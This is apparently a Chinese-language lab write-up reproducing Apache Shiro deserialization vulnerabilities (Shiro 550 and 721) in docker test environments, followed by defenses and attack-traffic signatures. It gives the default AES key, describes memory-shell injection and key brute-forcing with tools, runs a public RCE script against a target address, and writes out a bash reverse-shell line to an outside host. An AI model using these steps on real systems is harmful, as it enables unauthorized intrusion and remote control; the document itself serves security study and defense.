【漏洞复现】Shiro 反序列化漏洞复现

一、Shiro 介绍

1、Shiro 简介

Shiro 是Apache 的一个强大且易用的Java安全框架,用来进行身份验证、授权、密码和会话管理。只要rememberMe的AES加密秘钥泄露,就会导致shiro的反序列化漏洞。

2、如何判断Shiro 框架(Shiro指纹)

勾选记住密码选项后,点击登录,抓包,观察请求包中是否有rememberme字段,响应包中是否有Set-cookie:rememberMe=deleteMe字段。

二、Shiro 550反序列化漏洞(CVE-2016-4437)

1、漏洞成因

影响版本:Apache Shiro <=1.2.24

在受影响的 Apache Shiro 版本中使用了固定的AES密钥 kPH+bIxk5D2deZiIxcaaaA==

cookie的流程是:得到 rememberMe 的cookie 值–>进行Base64 解密–>再进行AES解密–>最后进行反序列化执行代码。

2、环境搭建

使用vulhub 搭建靶场

1
docker-compose up -d

image-20240227134907495

3、漏洞复现

用BP抓包,确认是Shiro 框架

image-20240227135459292

我们使用现成的工具进行检测,指定固定的密钥

image-20240227140040809

image-20240227140136993

4、内存马注入

先准备好Shiro 类型的内存马:是经过了序列化和AES加密以及Base64加密

image-20240423171813971

抓包注入

image-20240423172324721

蚁剑连接

image-20240423174226067

三、Shiro 721反序列化漏洞(CVE-2019-12422)

1、漏洞成因

影响版本:1.2.4 < Apache Shiro < 1.4.2

相较于shiro 550,在shiro 721中使用的加密方式是AES-CBC,其中的aes加密的key 变成由系统随机生成,但是其他解析过程依然一样,也就意味着,如果我们能够得到aes 解密使用的key 的话,依然能够进行反序列化RCE

2、环境搭建

1
2
3
4
git clone https://github.com/inspiringz/Shiro-721.git
cd Shiro-721/Docker
docker build -t shiro-721 .
docker run -p 8080:8080 -d shiro-721

如果未能启动成功,可以再执行如下命令

1
docker run --privileged -p 8080:8080 -it shiro-721

将会把容器的执行情况输出到前台,之后访问即可

image-20240314141349035

3、漏洞复现

访问靶机的8080端口,进入登录页面

image-20240314160244583

上方提示了用户名和密码,我们用其中一个进行登录,并勾选Remember Me,抓包

image-20240314161130004

确认是Shiro 框架,我们依然使用工具,我们不知道aes加密的密钥kay,需要在登录成功之后尝试爆破

image-20240314161503333

之后填入密钥,检测利用链,尝试命令执行,成功获取shell

image-20240314161603880

四、上线不出网Shiro反序列化

Shiro反序列化检测脚本:https://github.com/zhzyker/shiro-1.2.4-rce

1
python3 shiro-1.2.4_rce.py http://1.1.1.1:8080

之后执行反弹shell,用nc监听

1
bash -i >& /dev/tcp/192.168.109.9/8889 0>&1

五、防御措施

  • 及时升级shiro版本,不再使用固定的密钥加密。
  • 在应用程序上部署防火墙、加强身份验证等措施以提高安全性
  • 如果程序不需要RememberMe功能,则完全可以禁用它

六、shrio550和721的区别

  1. 主要区别在于Shiro550的ase加密的key使用已知默认密码,只要有足够的密码,不需要Remember Cookie的
  2. Shiro721的ase加密的key为系统随机生成,需要利用登录后的rememberMe去爆破正确的key值。利用有效的RememberMe Cookie作为Padding Oracle Attack的前缀,再去构造反序列化攻击。

七、Shiro 攻击流量特征

总结:

  1. 请求包Cookie的rememberMe中会存在AES+base64加密的一串java反序列化代码。
  2. 响应头存在Set-Cookie:rememberMe=deleteMe
  3. 响应包中存在base64加密数据,该数据可作为攻击成功的判定条件。